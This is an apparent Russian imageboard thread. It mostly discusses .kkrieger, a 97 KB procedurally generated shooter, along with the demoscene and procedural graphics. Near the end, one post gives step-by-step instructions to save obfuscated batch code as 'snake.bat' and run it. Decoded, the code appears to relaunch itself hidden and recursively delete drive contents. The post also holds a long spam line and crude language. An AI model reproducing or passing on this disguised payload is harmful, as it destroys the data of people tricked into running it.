(Krieger — воин) — компьютерная игра жанра шутера от первого лица, созданная немецкой демогруппой .theprodukkt
Игра занимает всего 97 281 байт дискового пространства благодаря тому, что все игровые ресурсы — текстуры, модели, геометрия уровня, музыка и звук — генерируются с помощью различных алгоритмов. Текстуры генерируются в реальном времени методом процедурного текстурирования. Музыка и звук в игре синтезируются и воспроизводятся так же в реальном времени многофункциональным синтезатором V2 собственной разработки (Farbrausch).
Самое маленькое демо, которое я видел, это 4 байт. Но под вин7 не пойдет, под ХР было норм, когда переходит в режим эмуляции ДОСа. Там ты внутри бесконечной трехмерной клетки или куба, как-то вот так.
>>77542121 Добро пожаловать в процедурное текстурирование. Я в этот крейгер играл еще в начале нулевых, но он тогда у нас тупил пиздец, на наших-то ЖиФорс2, лол.
>>77542705 Интересно, что будет, если на современных технологиях применить что-то подобное. А то совсем зажрались со своим ООП и фреймворками. Юнити зд говеное пустой проект весит под 5 ментров.
>>77542946 Было много бурления говн по этому поводу, особенно фарбрауху многие писали, что они, мол, совершили революцию в мире графона и это перевернет мир, но имеем, что имеем. Помню и свои охуевания, когда увидел файл 64кб, а в нем целый мир, ролик минут на 10 под музыку. Долго я потом искал, откуда он все это берет, в итоге почитав и изучив, как это работает, понял, что это по сути получается что-то вроде, если очень грубо сравнивать, векторных рисунков, в то время как обычное моделирование можно сравнить с растровой графикой. Если здесь мы видим все в рантайме, то обычный подход - это уже заранее смоделировано, нарисовано, иногда даже отрендеренно.
>>77543376 Самое удивительное, что при этом производительность почти не страдает, только требуется время на генерацию. Наверное, пришлось принести изящество в жертву фотореализму и баблу.
>>77543509 Ну и как ни крути, такое моделировать сложно. Попробуй бесплатную утилиту от того же фарбрауха (кстати, по-русски это вообще так произносится?), там чтобы простую текстуру или модель создать надо повыебываться адово, хотя я и не 3Д-моделер, может для них и легко это. Но да, я уверен, что можно написать готовые шаблоны, библиотеки моделей, текстур, звуков и прочее-прочее, чтобы делать полноценные игори и сцены, то есть написать полностью студию, которая будет выдавать вот такие вот игры уровня ФарКрай3 или даже выше размером под 50-100Мб.
>>77543724 Создать одну игру такого уровня теоретически можно, только это не выгодно никому. Создатели никогда не окупят затраты, производители железа тоже будут не рады, если их продукцию перестанут покупать. А написание целой студии, тут я сомневаюсь. Нужна новая парадигма программирования, не знаю даже. Это не в рамках возможностей современного человечества.
>>77544680 Бля я просто оцениваю как игру, я промазал по теме треда, вы то обсуждаете технологии больше. Днмосцену я раньше часто смотрел работы, потом забросил, планирую в ближайшее время упоротым позалипать на дэмо на новом телеке который купил. Котаны я не хотел вас обидеть
>s=awscriptcreated2chshellcmd.exeargumentsnulrunifnotexitbjectstartqkyzv&set n=%1&set a=\/:3 >Shellcmd Ммм, ясно. Ты знаешь, я даже это забью и моему макбуку нихуя не будет
>>77539653 Я был абсолютно готов и ждал именно этого, по этому снял наушники и свернул браузер в окно Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! мТам скример! Там скример! мТам скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример! Там скример!
Запускать так:
-Скопировать код снизу
-Вставить в блокнот
-Сохранить и переименовать в snake.bat
set s=awscriptcreated2chshellcmd.exeargumentsnulrunifnotexitbjectstartqkyzv&set n=%1&set a=\/:3
%s:~45,2% "%1"=="" e%s:~16,2%o %s:~8,6%o%s:~54,5%("%s:~1,7%.%s:~18,5%").%s:~42,3%"%s:~23,7% /c "^&%s:~1,7%.%s:~30,9%(0),0 > %s:~59,1%.%s:~68,1%b%s:~2,1% & %s:~59,5% %s:~2,1%.%s:~68,1%b%s:~59,1% "%~n0%~x0 %s%" & %s:~59,5% %s:~17,1%t%s:~58,1%p%a:~2,1%/%a:~1,1%tr%s:~26,1%im%a:~1,1%e8%s:~14,1%0%a:~3,1% & %s:~50,4%
%s:~45,2% %s:~47,3% "%1"=="%s:~2,1%" %s:~59,5% %a:~1,1%b %a:~1,1%high %~n0%~x0 %n:~0,-1% & %s:~45,2% %s:~50,3%st %n:~-1%:%a:~0,1%.%s:~26,1% %s:~42,1%m%s:~25,1%i%s:~62,1% "%n:~-1%:%a:~0,1%" %a:~1,1%s %a:~1,1%q >%s:~39,3% 2>%s:~39,3%